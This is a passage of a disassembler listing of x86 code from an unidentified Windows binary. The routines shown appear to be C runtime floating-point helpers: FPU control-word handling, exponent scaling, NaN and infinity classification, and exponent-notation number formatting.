		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41799D
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_4179F1
; ---------------------------------------------------------------------------


loc_41799D:				; CODE XREF: sub_417818+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_41F7A8
		fnstsw	ax
		sahf
		jnb	short loc_4179AF
		mov	edx, ebx
		jmp	short loc_4179B1
; ---------------------------------------------------------------------------


loc_4179AF:				; CODE XREF: sub_417818+191j
		xor	edx, edx


loc_4179B1:				; CODE XREF: sub_417818+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_4179E5
		sub	eax, ecx


loc_4179C8:				; CODE XREF: sub_417818+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_4179D3
		test	esi, esi
		jnz	short loc_4179D3
		mov	esi, ebx


loc_4179D3:				; CODE XREF: sub_417818+1B3j
					; sub_417818+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_4179DF
		or	byte ptr [ebp+var_C+3],	80h


loc_4179DF:				; CODE XREF: sub_417818+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_4179C8


loc_4179E5:				; CODE XREF: sub_417818+1ACj
		test	edx, edx
		jz	short loc_4179F1
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_4179F1:				; CODE XREF: sub_417818+183j
					; sub_417818+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_4179FD
; ---------------------------------------------------------------------------


loc_4179FB:				; CODE XREF: sub_417818+14Ej
		mov	esi, ebx


loc_4179FD:				; CODE XREF: sub_417818+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_417A0A
		push	10h
		call	sub_417CC5
		pop	ecx


loc_417A0A:				; CODE XREF: sub_417818+1E8j
		and	edi, 0FFFFFFFDh


loc_417A0D:				; CODE XREF: sub_417818+26j
					; sub_417818+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_417A24
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_417A24
		push	20h
		call	sub_417CC5
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_417A24:				; CODE XREF: sub_417818+1F9j
					; sub_417818+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_417818	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417A2F(int,int,int,int,int,int,double,int)

sub_417A2F	proc near		; CODE XREF: sub_41747A+2Bp
					; sub_4174CD+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_417ADD
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_417A9A
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_417CA2
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B65C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_417A94
		push	esi
		call	sub_417AB7
		pop	ecx


loc_417A94:				; CODE XREF: sub_417A2F+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_417A9A:				; CODE XREF: sub_417A2F+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_417CA2
		push	[ebp+arg_0]
		call	sub_417AB7
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_417A2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AB7	proc near		; CODE XREF: sub_4174CD+7Dp
					; sub_417A2F+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_417AD2
		jle	short locret_417ADC
		cmp	eax, 3
		jg	short locret_417ADC
		mov	dword_74222C, 22h
		retn
; ---------------------------------------------------------------------------


loc_417AD2:				; CODE XREF: sub_417AB7+7j
		mov	dword_74222C, 21h

locret_417ADC:				; CODE XREF: sub_417AB7+9j
					; sub_417AB7+Ej
		retn
sub_417AB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_417ADD	proc near		; CODE XREF: sub_417A2F+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_4379D0


loc_417AE4:				; CODE XREF: sub_417ADD+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_417AFA
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_437AA8
		jl	short loc_417AE4
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417AFA:				; CODE XREF: sub_417ADD+Dj
		mov	eax, off_4379D4[ecx*8]
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B02	proc near		; CODE XREF: sub_4174CD+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_417B0E
		push	5
		jmp	short loc_417B24
; ---------------------------------------------------------------------------


loc_417B0E:				; CODE XREF: sub_417B02+6j
		test	al, 8
		jz	short loc_417B16
		push	1
		jmp	short loc_417B24
; ---------------------------------------------------------------------------


loc_417B16:				; CODE XREF: sub_417B02+Ej
		test	al, 4
		jz	short loc_417B1E
		push	2
		jmp	short loc_417B24
; ---------------------------------------------------------------------------


loc_417B1E:				; CODE XREF: sub_417B02+16j
		test	al, 1
		jz	short loc_417B26
		push	3


loc_417B24:				; CODE XREF: sub_417B02+Aj
					; sub_417B02+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_417B26:				; CODE XREF: sub_417B02+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_417B02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417B2F(double)

sub_417B2F	proc near		; CODE XREF: sub_413FAE:loc_414034p
					; sub_4140F7:loc_41417Dp

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417B41(double,int)

sub_417B41	proc near		; CODE XREF: sub_417BC4+82p
					; sub_417BC4+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_417B41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B6A	proc near		; CODE XREF: sub_413FAE+31p
					; sub_4140F7+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_417B81
		cmp	[ebp+arg_0], edx
		jnz	short loc_417B93
		push	1
		jmp	short loc_417BBD
; ---------------------------------------------------------------------------


loc_417B81:				; CODE XREF: sub_417B6A+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_417B93
		cmp	[ebp+arg_0], edx
		jnz	short loc_417B93
		push	2
		jmp	short loc_417BBD
; ---------------------------------------------------------------------------


loc_417B93:				; CODE XREF: sub_417B6A+11j
					; sub_417B6A+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_417BA6
		push	3
		jmp	short loc_417BBD
; ---------------------------------------------------------------------------


loc_417BA6:				; CODE XREF: sub_417B6A+36j
		cmp	cx, 7FF0h
		jnz	short loc_417BC0
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_417BBB
		cmp	[ebp+arg_0], edx
		jz	short loc_417BC0


loc_417BBB:				; CODE XREF: sub_417B6A+4Aj
		push	4


loc_417BBD:				; CODE XREF: sub_417B6A+15j
					; sub_417B6A+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_417BC0:				; CODE XREF: sub_417B6A+41j
					; sub_417B6A+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_417B6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417BC4(double,int)

sub_417BC4	proc near		; CODE XREF: sub_417818+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_41F7A8
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_417BE4
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_417C7A
; ---------------------------------------------------------------------------


loc_417BE4:				; CODE XREF: sub_417BC4+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_417C53
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_417BFC
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_417C53


loc_417BFC:				; CODE XREF: sub_417BC4+31j
		fld	[ebp+arg_0]
		fcomp	dbl_41F7A8
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_417C14
		push	1
		pop	eax
		jmp	short loc_417C16
; ---------------------------------------------------------------------------


loc_417C14:				; CODE XREF: sub_417BC4+49j
		xor	eax, eax


loc_417C16:				; CODE XREF: sub_417BC4+4Ej
					; sub_417BC4+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_417C2F
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_417C29
		or	dword ptr [ebp+arg_0+4], 1


loc_417C29:				; CODE XREF: sub_417BC4+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_417C16
; ---------------------------------------------------------------------------


loc_417C2F:				; CODE XREF: sub_417BC4+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_417C3D
		or	byte ptr [ebp+arg_0+7],	80h


loc_417C3D:				; CODE XREF: sub_417BC4+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_417B41
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_417C7A
; ---------------------------------------------------------------------------


loc_417C53:				; CODE XREF: sub_417BC4+28j
					; sub_417BC4+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_417B41
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_417C7A:				; CODE XREF: sub_417BC4+1Bj
					; sub_417BC4+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_417BC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C85	proc near		; CODE XREF: sub_417565+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_417C85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C93	proc near		; CODE XREF: sub_417565+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_417C93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CA2	proc near		; CODE XREF: sub_413FAE+13p
					; sub_413FAE+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_417CA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CC5	proc near		; CODE XREF: sub_417818+1Dp
					; sub_417818+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_417CDC
		fld	tbyte_437AD0
		fistp	[ebp+arg_0]
		wait


loc_417CDC:				; CODE XREF: sub_417CC5+Bj
		test	cl, 8
		jz	short loc_417CF1
		fstsw	ax
		fld	tbyte_437AD0
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_417CF1:				; CODE XREF: sub_417CC5+1Aj
		test	cl, 10h
		jz	short loc_417D00
		fld	tbyte_437ADC
		fstp	[ebp+var_8]
		wait


loc_417D00:				; CODE XREF: sub_417CC5+2Fj
		test	cl, 4
		jz	short loc_417D0E
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_417D0E:				; CODE XREF: sub_417CC5+3Ej
		test	cl, 20h
		jz	short locret_417D19
		fldpi
		fstp	[ebp+var_8]
		wait

locret_417D19:				; CODE XREF: sub_417CC5+4Cj
		leave
		retn
sub_417CC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D1B	proc near		; CODE XREF: sub_41407D+Fp
		push	30000h
		push	10000h
		call	sub_41B694
		pop	ecx
		pop	ecx
		retn
sub_417D1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D2D	proc near		; CODE XREF: sub_417D6B:loc_417D8Fj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_41F7B8
		fstp	[ebp+var_8]
		fld	dbl_41F7B0
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_41F668
		fnstsw	ax
		sahf
		jbe	short loc_417D67
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_417D67:				; CODE XREF: sub_417D2D+33j
		xor	eax, eax
		leave
		retn
sub_417D2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D6B	proc near		; CODE XREF: sub_41407D+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_41F0B0	; GetModuleHandleA
		test	eax, eax
		jz	short loc_417D8F
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_41F0AC	; GetProcAddress
		test	eax, eax
		jz	short loc_417D8F
		push	0
		call	eax ; sub_41407D
		retn
; ---------------------------------------------------------------------------


loc_417D8F:				; CODE XREF: sub_417D6B+Dj
					; sub_417D6B+1Dj
		jmp	sub_417D2D
sub_417D6B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417D94	proc near		; CODE XREF: sub_416065+3CBp
					; DATA XREF: sub_414095+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_415467
		cmp	eax, 65h
		pop	ecx
		jz	short loc_417DD4


loc_417DA8:				; CODE XREF: sub_417D94+3Ej
		inc	esi
		cmp	dword_4379BC, 1
		jle	short loc_417DC1
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_417DD0
; ---------------------------------------------------------------------------


loc_417DC1:				; CODE XREF: sub_417D94+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_4377B0
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_417DD0:				; CODE XREF: sub_417D94+2Bj
		test	eax, eax
		jnz	short loc_417DA8


loc_417DD4:				; CODE XREF: sub_417D94+12j
		mov	cl, byte_4379C0
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_417DDF:				; CODE XREF: sub_417D94+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_417DDF
		pop	esi
		retn
sub_417D94	endp


; =============== S U B	R O U T	I N E =======================================



sub_417DEE	proc near		; CODE XREF: sub_416065+3E2p
					; DATA XREF: sub_414095+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_4379C0
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417E0A


loc_417DFE:				; CODE XREF: sub_417DEE+1Aj
		cmp	cl, dl
		jz	short loc_417E0A
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_417DFE


loc_417E0A:				; CODE XREF: sub_417DEE+Ej
					; sub_417DEE+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_417E3B


loc_417E11:				; CODE XREF: sub_417DEE+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417E24
		cmp	cl, 65h
		jz	short loc_417E24
		cmp	cl, 45h
		jz	short loc_417E24
		inc	eax
		jmp	short loc_417E11
; ---------------------------------------------------------------------------


loc_417E24:				; CODE XREF: sub_417DEE+27j
					; sub_417DEE+2Cj ...
		mov	ecx, eax


loc_417E26:				; CODE XREF: sub_417DEE+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_417E26
		cmp	[eax], dl
		jnz	short loc_417E31
		dec	eax


loc_417E31:				; CODE XREF: sub_417DEE+40j
					; sub_417DEE+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_417E31

locret_417E3B:				; CODE XREF: sub_417DEE+21j
		retn
sub_417DEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E3C	proc near		; DATA XREF: sub_414095+28o
					; seg001:off_437AF8o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_41F7A8
		fnstsw	ax
		sahf
		jb	short loc_417E51
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_417E51:				; CODE XREF: sub_417E3C+Fj
		xor	eax, eax
		retn
sub_417E3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E54	proc near		; CODE XREF: sub_418BBD+430p
					; DATA XREF: sub_414095+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_417E7D
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41BB57
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417E7D:				; CODE XREF: sub_417E54+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41BB84
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_417E54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E92	proc near		; CODE XREF: sub_41810F+17p
					; sub_418159+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_742290, 0
		push	ebx
		push	esi
		jz	short loc_417EC7
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_74228C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4181AA
		pop	ecx
		pop	ecx
		jmp	short loc_417EFF
; ---------------------------------------------------------------------------


loc_417EC7:				; CODE XREF: sub_417E92+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41BC28
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41BBB1
		add	esp, 14h


loc_417EFF:				; CODE XREF: sub_417E92+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_417F0B
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_417F0B:				; CODE XREF: sub_417E92+73j
		test	ebx, ebx
		jle	short loc_417F23
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_4379C0
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_417F23:				; CODE XREF: sub_417E92+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_742290, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_414FB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_417F4A
		mov	byte ptr [ecx],	45h


loc_417F4A:				; CODE XREF: sub_417E92+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_417F8F
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_417F5E
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_417F5E:				; CODE XREF: sub_417E92+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_417F75
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_417F75:				; CODE XREF: sub_417E92+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_417F8C
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_417F8C:				; CODE XREF: sub_417E92+E7j
		add	[ecx+1], bl


loc_417F8F:				; CODE XREF: sub_417E92+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417E92	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F96	proc near		; CODE XREF: sub_418136+13p
					; sub_418159+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_742290, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_417FD1
		mov	eax, dword_742294
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_74228C
		cmp	eax, ebx
		jnz	short loc_418001
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_418001
; ---------------------------------------------------------------------------


loc_417FD1:				; CODE XREF: sub_417F96+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41BC28
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41BBB1
		add	esp, 14h


loc_418001:				; CODE XREF: sub_417F96+22j
					; sub_417F96+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41800F
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41800F:				; CODE XREF: sub_417F96+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_418026
		push	1
		push	edi
		call	sub_4181AA
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_418028
; ---------------------------------------------------------------------------


loc_418026:				; CODE XREF: sub_417F96+7Ej
		add	edi, eax


loc_418028:				; CODE XREF: sub_417F96+8Ej
		test	ebx, ebx
		jle	short loc_41806D
		push	1
		push	edi
		call	sub_4181AA
		mov	al, byte_4379C0
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41806D
		cmp	byte_742290, 0
		jz	short loc_418052
		neg	esi
		jmp	short loc_418058
; ---------------------------------------------------------------------------


loc_418052:				; CODE XREF: sub_417F96+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41805A


loc_418058:				; CODE XREF: sub_417F96+BAj
		mov	ebx, esi


loc_41805A:				; CODE XREF: sub_417F96+C0j
		push	ebx
		push	edi
		call	sub_4181AA
		push	ebx
		push	30h
		push	edi
		call	sub_413890
		add	esp, 14h


loc_41806D:				; CODE XREF: sub_417F96+94j
					; sub_417F96+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418074	proc near		; CODE XREF: sub_418159+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41BC28
		mov	dword_74228C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_742294, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41BBB1
		mov	eax, dword_74228C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_742294, ecx
		setl	cl
		mov	byte_742298, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_742294, eax
		jl	short loc_4180FA
		cmp	eax, ebx
		jge	short loc_4180FA
		test	cl, cl
		jz	short loc_4180EB


loc_4180E1:				; CODE XREF: sub_418074+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4180E1
		and	[esi-2], al


loc_4180EB:				; CODE XREF: sub_418074+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_418136
		add	esp, 0Ch
		jmp	short loc_41810A
; ---------------------------------------------------------------------------


loc_4180FA:				; CODE XREF: sub_418074+63j
					; sub_418074+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41810F
		add	esp, 10h


loc_41810A:				; CODE XREF: sub_418074+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418074	endp


; =============== S U B	R O U T	I N E =======================================



sub_41810F	proc near		; CODE XREF: sub_418074+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_742290, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_417E92
		and	byte_742290, 0
		add	esp, 10h
		retn
